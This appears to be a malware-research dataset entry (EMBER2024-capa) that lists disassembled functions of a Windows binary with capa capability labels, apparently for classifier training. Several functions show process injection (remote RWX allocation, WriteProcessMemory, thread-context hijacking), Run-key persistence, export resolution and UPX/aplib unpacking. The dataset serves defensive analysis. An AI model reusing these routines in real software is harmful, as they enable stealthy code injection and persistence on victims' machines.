joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405f92
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
push ebx
mov ebx, dword [ebp + 8]
push edi
xor edi, edi
push 0x2c8
lea eax, [ebp - 0x2c8]
push edi
push eax
mov dword [ebp - 0x2cc], edi
call sub.ntdll.dll_memset
mov eax, dword [ebx + 8]
add esp, 0xc
cmp eax, dword [0x40c884]
je 0x406099
push 0x40
push 0x3000
push 0x318
push edi
push dword [ebx]
mov dword [ebp - 0x2cc], 0x10003
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x4060a7
lea eax, [ebp - 0x2cc]
push eax
push dword [ebx + 4]
call dword [sym.imp.ntdll.dll_NtGetContextThread]
test eax, eax
jge 0x406011
push 5
pop eax
jmp 0x4060ad
mov eax, dword [ebp - 0x214]
and dword [esi + 4], 0
mov dword [esi], eax
lea eax, [edi + 0x218]
push 0x100
mov dword [ebp - 0x214], eax
lea eax, [esi + 0x218]
push 0x4076bb
push eax
mov dword [ebp - 0x21c], edi
call sub.ntdll.dll_memcpy
mov ecx, dword [esi + 0x10]
lea eax, [esi + 0x18]
cdq
add esp, 0xc
cmp ecx, eax
jne 0x406069
mov eax, dword [esi + 0x14]
cmp eax, edx
jne 0x406069
mov eax, edi
xor ecx, ecx
add eax, 0x18
adc ecx, ecx
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], ecx
lea eax, [ebp + 8]
push eax
push 0x318
push esi
push edi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4060a7
lea eax, [ebp - 0x2cc]
push eax
push dword [ebx + 4]
call dword [sym.imp.ntdll.dll_NtSetContextThread]
test eax, eax
jge 0x4060a3
jmp 0x406009
push dword [esi + 0x10]
call dword [esi + 8]
test eax, eax
je 0x4060a7
xor eax, eax
jmp 0x4060ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop ebx
leave
ret 4

Function at 0x4063a0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push esi
push 0x27
lea eax, [ebp - 0x33]
push 0
push eax
mov byte [ebp - 0x34], 0
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp + 8]
call fcn.004056cb
mov esi, eax
test esi, esi
jl 0x40642a
push 0x28
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x5c]
call fcn.0040594d
test eax, eax
mov dword [ebp - 8], eax
je 0x4063f6
mov eax, dword [ebp - 0x24]
mov dword [edi], eax
mov eax, dword [ebp - 0x20]
mov dword [edi + 4], eax
jmp 0x40642a
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp + 8]
mov esi, eax
push str.PsSupGetProcessMainImageBaseArch:_x32_ReadProcessMemory_fail__hProcess_x
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, 0xc0000022
mov eax, esi
pop esi
leave
ret 4
Function at 0x4064b8
Capabilities:
Create process on windows
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0x40d17c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x100000
push 0x40
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
cmp esi, 0x20
jle 0x406510
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
push str.PsSup:_File__s_successfully_started_with_parameter___s_._n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor esi, esi
jmp 0x406533
push esi
push dword [ebp + 8]
mov edi, eax
push str.PsSup:_ShellExecute_failed._File:__s__error__u._n
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov eax, esi
pop esi
pop ebp
ret 8

Function at 0x4065f5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
lea eax, [ebp - 8]
push eax
push 0x40d14f
xor esi, esi
push 0x80000002
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x406679
push ebx
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push esi
mov ebx, 0x40d2ab
push ebx
push dword [ebp - 8]
call edi
test eax, eax
jne 0x406677
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.004013ab
mov esi, eax
test esi, esi
je 0x406673
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push 0
push ebx
push dword [ebp - 8]
call edi
test eax, eax
jne 0x40666d
mov eax, dword [ebp - 4]
mov byte [esi + eax], 0
mov eax, dword [ebp + 8]
mov dword [eax], esi
jmp 0x406677
push esi
call fcn.004013c0
and dword [ebp - 4], 0
pop edi
pop ebx
mov eax, dword [ebp - 4]
pop esi
leave
ret 4
Function at 0x406681
Capabilities:
Get system information on windows
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
push 0
call esi
mov dword [0x40c890], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
push str.NTDLL.DLL
mov dword [0x40c888], eax
call esi
push str.RtlGetVersion
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, 0x9c
push edi
push 0
mov esi, 0x40c980
push esi
mov ebx, eax
call sub.ntdll.dll_memset
add esp, 0xc
push esi
mov dword [0x40c980], edi
call ebx
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
push 0x20
push 0
push 0x40ca20
call sub.ntdll.dll_memset
mov eax, dword [0x40c984]
mov dword [0x40ca24], eax
mov eax, dword [0x40c988]
mov dword [0x40ca28], eax
mov eax, dword [0x40c98c]
mov dword [0x40ca2c], eax
mov al, byte [0x40ca1a]
mov byte [0x40ca36], al
mov ax, word [0x40ca14]
mov word [0x40ca30], ax
mov ax, word [0x40ca16]
mov word [0x40ca32], ax
mov ax, word [0x40ca18]
mov word [0x40ca34], ax
mov ax, word [ebp - 0x28]
mov word [0x40ca38], ax
mov ax, word [ebp - 8]
mov word [0x40ca3a], ax
mov ax, word [ebp - 6]
add esp, 0xc
mov byte [0x40ca20], 0x77
mov word [0x40ca3c], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x40c884], eax
push 1
lea eax, [ebp - 4]
push eax
push dword [0x40c894]
call fcn.00406431
mov ebx, eax
test ebx, ebx
je 0x4067b5
push 0x100000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push ebx
mov esi, eax
push str.Globals:_PsSupGetModulePath_failed_with_status__u._n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x4067f2
mov edi, dword [ebp - 4]
push edi
call dword [sym.imp.SHELL32.dll_PathGetShortPath]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [eax + 1]
push esi
call fcn.004013ab
test eax, eax
mov dword [0x40c89c], eax
je 0x4067e5
push esi
push edi
push eax
call sub.ntdll.dll_wcstombs
add esp, 0xc
jmp 0x4067e8
push 8
pop ebx
push edi
call fcn.004013c0
test ebx, ebx
jne 0x4067f6
test ebx, ebx
je 0x406824
mov eax, dword [0x40c898]
test eax, eax
je 0x406805
push eax
call fcn.004013c0
mov eax, dword [0x40c89c]
test eax, eax
je 0x406814
push eax
call fcn.004013c0
mov eax, dword [0x40c8a0]
test eax, eax
je 0x406824
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x406d6b
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
xor edi, edi
call fcn.00406d19
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x406df8
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x406df8
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, ebx
jne 0x406dba
mov esi, 0xe8
jmp 0x406e00
lea eax, [esi + 1]
push eax
call fcn.004013ab
mov edi, eax
cmp edi, ebx
je 0x406df8
push ebx
lea eax, [ebp - 8]
push eax
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x406df8
cmp esi, dword [ebp - 8]
je 0x406de7
push 0x1e
pop esi
jmp 0x406e00
mov eax, dword [ebp + 0xc]
mov byte [esi + edi], bl
mov dword [eax], edi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
xor esi, esi
jmp 0x406e00
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp dword [ebp + 8], 0xffffffff
je 0x406e0f
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebx
je 0x406e1d
cmp esi, ebx
je 0x406e1d
push edi
call fcn.004013c0
cmp dword [ebp - 4], ebx
je 0x406e2a
push dword [ebp - 4]
call fcn.004013c0
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc

Function at 0x406e33
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push dword [ebp + 8]
call fcn.00406d19
mov ebx, eax
xor edi, edi
cmp ebx, edi
je 0x406ea7
push esi
push edi
push 0x80
push 4
push edi
push edi
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406e70
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x406e9e
push edi
lea eax, [ebp + 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x406e8f
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x406e97
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.004013c0
pop esi
jmp 0x406eaa
push 8
pop edi
mov eax, edi
pop edi
pop ebx
pop ebp
ret 0xc

Function at 0x406eb2
Capabilities:
Get common file path

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathA]
push esi
push edi
xor esi, esi
push esi
push esi
call ebx
mov edi, eax
test edi, edi
je 0x406eff
lea eax, [edi + 0xf]
push eax
call fcn.004013ab
mov esi, eax
test esi, esi
je 0x406eff
push esi
push edi
call ebx
test eax, eax
je 0x406ef7
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, dword [esp + 0x14]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x406eff
push esi
call fcn.004013c0
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebx
ret 4
Function at 0x407028
Capabilities:
Persist via run registry key
Query or enumerate registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4dc
mov eax, dword [0x40ca40]
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
or eax, 0x20019
push eax
xor esi, esi
push esi
push esi
push 0x80000003
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0x104
call edi
cmp eax, esi
mov dword [ebp - 0xc], eax
jne 0x40713b
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x4dc]
push eax
mov dword [ebp - 0xc], 2
push esi
jmp 0x407124
cmp dword [ebp - 4], 8
jbe 0x407108
push 0x5f
lea eax, [ebp - 0x4dc]
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrA]
test eax, eax
jne 0x407108
push 0x40d024
lea eax, [ebp - 0x4dc]
push eax
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp + 0xc]
or eax, 0xf003f
push eax
push esi
lea eax, [ebp - 0x4dc]
push eax
push dword [ebp - 8]
call edi
test eax, eax
jne 0x407108
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 8]
push 1
push esi
push dword [ebp - 0x18]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x4070ff
mov dword [ebp - 0xc], esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0x10]
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x4dc]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], 0x104
push dword [ebp - 8]
call ebx
test eax, eax
je 0x407091
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret 8

Function at 0x407144
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [edi + 0x3c]
and dword [ebp - 8], 0
add eax, edi
cmp word [eax + 4], 0x8664
jne 0x407163
mov eax, dword [eax + 0x88]
jmp 0x407166
mov eax, dword [eax + 0x78]
add eax, edi
test eax, eax
push ebx
je 0x4071d9
mov ecx, dword [eax + 0x1c]
test ecx, ecx
je 0x4071d9
mov ebx, dword [eax + 0x20]
test ebx, ebx
je 0x4071d9
and dword [ebp - 4], 0
push esi
mov esi, dword [eax + 0x24]
mov eax, dword [eax + 0x18]
add ecx, edi
add ebx, edi
add esi, edi
test eax, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
jbe 0x4071d3
mov eax, dword [ebx]
push dword [ebp + 8]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x4071ba
add ebx, 4
inc esi
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jb 0x407196
jmp 0x4071d3
movzx eax, word [esi]
mov ecx, dword [ebp - 0x10]
lea eax, [ecx + eax*4]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x4071d3
mov ecx, dword [ebx]
add ecx, edi
mov dword [eax], ecx
mov eax, dword [ebp - 8]
pop esi
jmp 0x4071db
xor eax, eax
pop ebx
leave
ret 8
Function at 0x4071e0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [eax + ecx + 0x18]
movzx eax, word [ecx + 6]
push ebx
push esi
mov dword [ebp - 4], eax
xor eax, eax
push edi
mov edi, dword [edx + 0xc]
cmp dword [ebp + 8], edi
jb 0x40721b
mov esi, dword [ecx + 0x3c]
mov ebx, dword [edx + 0x10]
lea ebx, [ebx + esi - 1]
dec esi
not esi
and ebx, esi
add ebx, edi
cmp dword [ebp + 8], ebx
jb 0x40722d
add dword [ebp - 4], 0xffff
add edx, 0x28
cmp word [ebp - 4], ax
jne 0x4071fd
jmp 0x407235
mov eax, dword [edx + 0x14]
sub eax, edi
add eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4073f0
Capabilities:
Decompress data using aplib

Disassembly:
sub esp, 0x14
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0xc]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x24]
mov al, byte [esi]
push edi
xor ebx, ebx
mov byte [ecx], al
add ecx, 1
xor edi, edi
add esi, 1
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], esi
lea ecx, [ecx]
mov eax, ebx
sub ebx, 1
test eax, eax
jne 0x407436
movzx edx, byte [esi]
add esi, 1
mov dword [esp + 0x14], esi
lea ebx, [eax + 7]
mov eax, edx
shr eax, 7
and eax, 1
add edx, edx
test eax, eax
je 0x4075f3
mov eax, ebx
sub ebx, 1
test eax, eax
mov dword [esp + 0x20], ebx
jne 0x407468
movzx edx, byte [esi]
add esi, 1
mov ebx, 7
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], ebx
mov eax, edx
shr eax, 7
and eax, 1
add edx, edx
test eax, eax
mov dword [esp + 0x1c], edx
je 0x407538
mov eax, ebx
sub ebx, 1
test eax, eax
jne 0x407494
movzx edx, byte [esi]
add esi, 1
mov dword [esp + 0x14], esi
lea ebx, [eax + 7]
mov eax, edx
shr eax, 7
and eax, 1
add edx, edx
test eax, eax
je 0x4074e6
xor edi, edi
lea ebp, [edi + 4]
mov eax, ebx
sub ebx, 1
test eax, eax
jne 0x4074b9
movzx edx, byte [esi]
add esi, 1
lea ebx, [eax + 7]
mov eax, edx
shr eax, 7
and eax, 1
add edx, edx
sub ebp, 1
lea edi, [eax + edi*2]
jne 0x4074a7
test edi, edi
mov dword [esp + 0x14], esi
je 0x4074de
mov eax, ecx
sub eax, edi
mov al, byte [eax]
jmp 0x4075fc
mov byte [ecx], 0
jmp 0x4075fe
movzx ebp, byte [esi]
mov edi, ebp
and edi, 1
add esi, 1
add edi, 2
shr ebp, 1
mov dword [esp + 0x14], esi
je 0x407522
test edi, edi
je 0x40752a
mov eax, ecx
sub eax, ebp
mov al, byte [eax]
mov byte [ecx], al
add ecx, 1
sub edi, 1
jne 0x407500
mov dword [esp + 0x18], ecx
mov dword [esp + 0x28], ebp
mov edi, 1
jmp 0x407607
mov dword [esp + 0x10], 1
mov dword [esp + 0x28], ebp
mov edi, 1
jmp 0x407607
lea ecx, [esp + 0x14]
call fcn.00407370
test edi, edi
jne 0x40757e
cmp eax, 2
jne 0x407579
lea ecx, [esp + 0x14]
call fcn.00407370
test eax, eax
mov ecx, dword [esp + 0x18]
je 0x4075e0
nop
mov edx, ecx
sub edx, dword [esp + 0x28]
add ecx, 1
sub eax, 1
mov dl, byte [edx]
mov byte [ecx - 1], dl
jne 0x407560
mov dword [esp + 0x18], ecx
jmp 0x4075e0
sub eax, 3
jmp 0x407581
sub eax, 2
mov ecx, dword [esp + 0x14]
movzx edx, byte [ecx]
add ecx, 1
shl eax, 8
add eax, edx
mov dword [esp + 0x14], ecx
lea ecx, [esp + 0x14]
mov esi, eax
call fcn.00407370
cmp esi, 0x7d00
jb 0x4075aa
add eax, 1
cmp esi, 0x500
jb 0x4075b5
add eax, 1
cmp esi, 0x80
jae 0x4075c0
add eax, 2
test eax, eax
mov ecx, dword [esp + 0x18]
je 0x4075dc
mov edx, ecx
sub edx, esi
mov dl, byte [edx]
mov byte [ecx], dl
add ecx, 1
sub eax, 1
jne 0x4075c8
mov dword [esp + 0x18], ecx
mov dword [esp + 0x28], esi
mov ebx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
mov edi, 1
jmp 0x407607
mov al, byte [esi]
add esi, 1
mov dword [esp + 0x14], esi
mov byte [ecx], al
add ecx, 1
xor edi, edi
mov dword [esp + 0x18], ecx
cmp dword [esp + 0x10], 0
je 0x407420
pop edi
pop esi
mov eax, ecx
sub eax, dword [esp + 0x24]
pop ebp
pop ebx
add esp, 0x14
ret 8
Function at 0x407991
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x4079c2
mov eax, dword fs:[4]
mov dword [ebp + 8], eax
mov eax, dword fs:[8]
mov dword [ebp - 4], eax
cmp ebx, dword [ebp - 4]
jb 0x4079c9
cmp ebx, dword [ebp + 8]
jae 0x4079c9
xor eax, eax
jmp 0x407baf
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x4079da
xor eax, eax
inc eax
jmp 0x407bae
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x4079ec
cmp ecx, edx
jae 0x407a50
cmp dword [eax + 4], 0
je 0x4079f5
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x4079e1
cmp dword [ebp + 8], 0
je 0x407a0f
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x407a50
cmp eax, esi
jae 0x407a50
mov ecx, dword [0x40c918]
mov esi, ebx
and esi, 0xfffff000
xor eax, eax
test ecx, ecx
jle 0x407a31
cmp dword [eax*4 + 0x40c920], esi
je 0x407a57
inc eax
cmp eax, ecx
jl 0x407a23
lea eax, [ebp + 8]
push eax
push 0x1c
lea eax, [ebp - 0x20]
push eax
push 0
push ebx
or edi, 0xffffffff
push edi
call sub.ntdll.dll_NtQueryVirtualMemory
test eax, eax
jl 0x407ac7
mov eax, dword [ebp + 8]
jmp 0x407ac9
xor eax, eax
jmp 0x407bae
test eax, eax
jle 0x4079d2
xor edx, edx
mov ebx, 0x40c960
inc edx
mov edi, ebx
xchg dword [edi], edx
test edx, edx
jne 0x4079d2
cmp dword [eax*4 + 0x40c920], esi
je 0x407aa6
lea eax, [ecx - 1]
test eax, eax
jl 0x407a93
cmp dword [eax*4 + 0x40c920], esi
je 0x407a8f
dec eax
jns 0x407a83
test eax, eax
jge 0x407aa4
cmp ecx, 0x10
jge 0x407a9f
inc ecx
mov dword [0x40c918], ecx
lea eax, [ecx - 1]
jmp 0x407aa6
je 0x407abe
xor edx, edx
test eax, eax
jl 0x407abe
lea ecx, [edx*4 + 0x40c920]
mov edi, dword [ecx]
inc edx
cmp edx, eax
mov dword [ecx], esi
mov esi, edi
jle 0x407aac
xor eax, eax
xchg dword [ebx], eax
jmp 0x4079d2
xor eax, eax
test eax, eax
je 0x407bac
cmp dword [ebp - 8], 0x1000000
jne 0x407bac
test byte [ebp - 0xc], 0xcc
je 0x407b3e
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x407bac
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407bac
cmp word [eax + 0x18], 0x10b
jne 0x407bac
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x407bac
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x407b3e
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x407b3e
test byte [ecx + 0x27], 0x80
jne 0x407a50
xor eax, eax
inc eax
mov ecx, eax
mov edx, 0x40c960
xchg dword [edx], ecx
test ecx, ecx
jne 0x407bae
mov ecx, dword [0x40c918]
test ecx, ecx
mov edx, ecx
jle 0x407b6d
lea eax, [ecx*4 + 0x40c91c]
cmp dword [eax], esi
je 0x407b6d
dec edx
sub eax, 4
test edx, edx
jg 0x407b61
test edx, edx
jne 0x407b9e
push 0xf
pop ebx
cmp ecx, ebx
jg 0x407b7a
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x407b92
lea eax, [edx*4 + 0x40c920]
mov edi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], esi
mov esi, edi
jle 0x407b80
cmp ecx, 0x10
jge 0x407b9e
inc ecx
mov dword [0x40c918], ecx
xor eax, eax
mov ecx, 0x40c960
xchg dword [ecx], eax
jmp 0x4079d2
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407ec0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
jmp 0x407eda
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407ee1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407ed0
mov eax, 1
add ebx, ebx
jne 0x407ef3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407ee8
jne 0x407f04
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ee8
xor ecx, ecx
sub eax, 3
jb 0x407f18
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x407f8a
mov ebp, eax
add ebx, ebx
jne 0x407f23
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407f30
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x407f54
inc ecx
add ebx, ebx
jne 0x407f40
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407f35
jne 0x407f51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407f35
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x407f74
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x407f65
jmp 0x407ed6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x407f74
add edi, ecx
jmp 0x407ed6
pop esi
mov edi, esi
mov ecx, 6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x407f92
cmp byte [edi], 1
jne 0x407f92
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x407f97
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x40800f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8618]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8654]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x407fc4
mov ecx, edi
jns 0x407ff3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x865c]
or eax, eax
je 0x408009
mov dword [ebx], eax
add ebx, 4
jmp 0x407fe1
call dword [esi + 0x8658]
mov ebp, dword [esi + 0x8660]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x408043
sub esp, 0xffffff80
jmp 0x401230